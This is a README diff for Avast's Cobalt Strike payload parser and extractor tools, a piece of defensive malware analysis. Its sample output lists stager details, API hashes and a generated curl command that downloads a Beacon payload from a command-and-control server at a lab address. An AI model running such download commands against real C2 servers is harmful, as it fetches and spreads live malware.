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Update README.md
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@ -14,6 +14,46 @@ Example:
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cs_payload_parser.py memdump.bin
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cs_payload_parser.py memdump.bin
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cs_payload_parser.py c:\cs_payloads\
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cs_payload_parser.py c:\cs_payloads\
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```
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```
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Output:
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```
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<filename>.log
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```
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```
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--------------------------------------------------------------------------------
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Filename: fhttps_raw_x86
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--------------------------------------------------------------------------------
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Architecture: x86
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Payload type: HTTPS stager
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Payload start: 0x0000
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Customer ID: 0x12345678 | 305419896
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--------------------------------------------------------------------------------
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Request detail:
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Address: 192.168.42.2
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Port: 444
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Query: /AYhZ (Beacon_x86 checksum)
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--------------------------------------------------------------------------------
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Request header:
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;PTBR)
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--------------------------------------------------------------------------------
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Curl download command:
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curl -o beacon_x86.bin -H "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;PTBR)" https://192.168.42.2:444/AYhZ
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--------------------------------------------------------------------------------
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Payload API list:
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Offset | Hash value | API name
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0x009c | 0x0726774c | kernel32.dll_LoadLibraryA
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0x00af | 0xa779563a | wininet.dll_InternetOpenA
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0x00cb | 0xc69f8957 | wininet.dll_InternetConnectA
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0x00e7 | 0x3b2e55eb | wininet.dll_HttpOpenRequestA
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0x0100 | 0x869e4675 | wininet.dll_InternetSetOptionA
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0x0110 | 0x7b18062d | wininet.dll_HttpSendRequestA
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0x0129 | 0x5de2c5aa | kernel32.dll_GetLastError
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0x0132 | 0x315e2145 | user32.dll_GetDesktopWindow
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0x0141 | 0x0be057b7 | wininet.dll_InternetErrorDlg
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0x02e9 | 0x56a2b5f0 | kernel32.dll_ExitProcess
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0x02fd | 0xe553a458 | kernel32.dll_VirtualAlloc
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0x0318 | 0xe2899612 | wininet.dll_InternetReadFile
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--------------------------------------------------------------------------------
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```
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## cs_payload_extractor.py
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## cs_payload_extractor.py
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@ -27,4 +67,56 @@ Example:
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```
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```
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cs_payload_extractor.py memdump.bin
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cs_payload_extractor.py memdump.bin
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cs_payload_extractor.py c:\cs_payloads\
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cs_payload_extractor.py c:\cs_payloads\
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```
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```
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Output:
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```
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<filename>_payload.bin
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<filename>_payload.bin.log
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```
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```
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--------------------------------------------------------------------------------
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CS Payload extractor v1.00 Avast Software s.r.o
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--------------------------------------------------------------------------------
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[*] Extracting file..
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--------------------------------------------------------------------------------
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Filename: fhttps_exe_x86
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Payload type: xored_payload
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--------------------------------------------------------------------------------
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Saved as: fhttps_exe_x86_payload.bin
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--------------------------------------------------------------------------------
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[*] Parsing file..
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--------------------------------------------------------------------------------
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Filename: fhttps_exe_x86_payload.bin
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--------------------------------------------------------------------------------
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Architecture: x86
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Payload type: HTTPS stager
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Payload start: 0x0000
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Customer ID: 0x12345678 | 305419896
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--------------------------------------------------------------------------------
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Request detail:
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Address: 192.168.42.2
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Port: 444
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Query: /IZVc (Beacon_x86 checksum)
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--------------------------------------------------------------------------------
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Request header:
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MASP)
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--------------------------------------------------------------------------------
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Curl download command:
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curl -o beacon_x86.bin -H "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MASP)" https://192.168.42.2:444/IZVc
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--------------------------------------------------------------------------------
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Payload API list:
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Offset | Hash value | API name
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0x009c | 0x0726774c | kernel32.dll_LoadLibraryA
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0x00af | 0xa779563a | wininet.dll_InternetOpenA
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0x00cb | 0xc69f8957 | wininet.dll_InternetConnectA
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0x00e7 | 0x3b2e55eb | wininet.dll_HttpOpenRequestA
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0x0100 | 0x869e4675 | wininet.dll_InternetSetOptionA
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0x0110 | 0x7b18062d | wininet.dll_HttpSendRequestA
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0x0129 | 0x5de2c5aa | kernel32.dll_GetLastError
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0x0132 | 0x315e2145 | user32.dll_GetDesktopWindow
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0x0141 | 0x0be057b7 | wininet.dll_InternetErrorDlg
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0x02e9 | 0x56a2b5f0 | kernel32.dll_ExitProcess
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0x02fd | 0xe553a458 | kernel32.dll_VirtualAlloc
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0x0318 | 0xe2899612 | wininet.dll_InternetReadFile
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--------------------------------------------------------------------------------
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```
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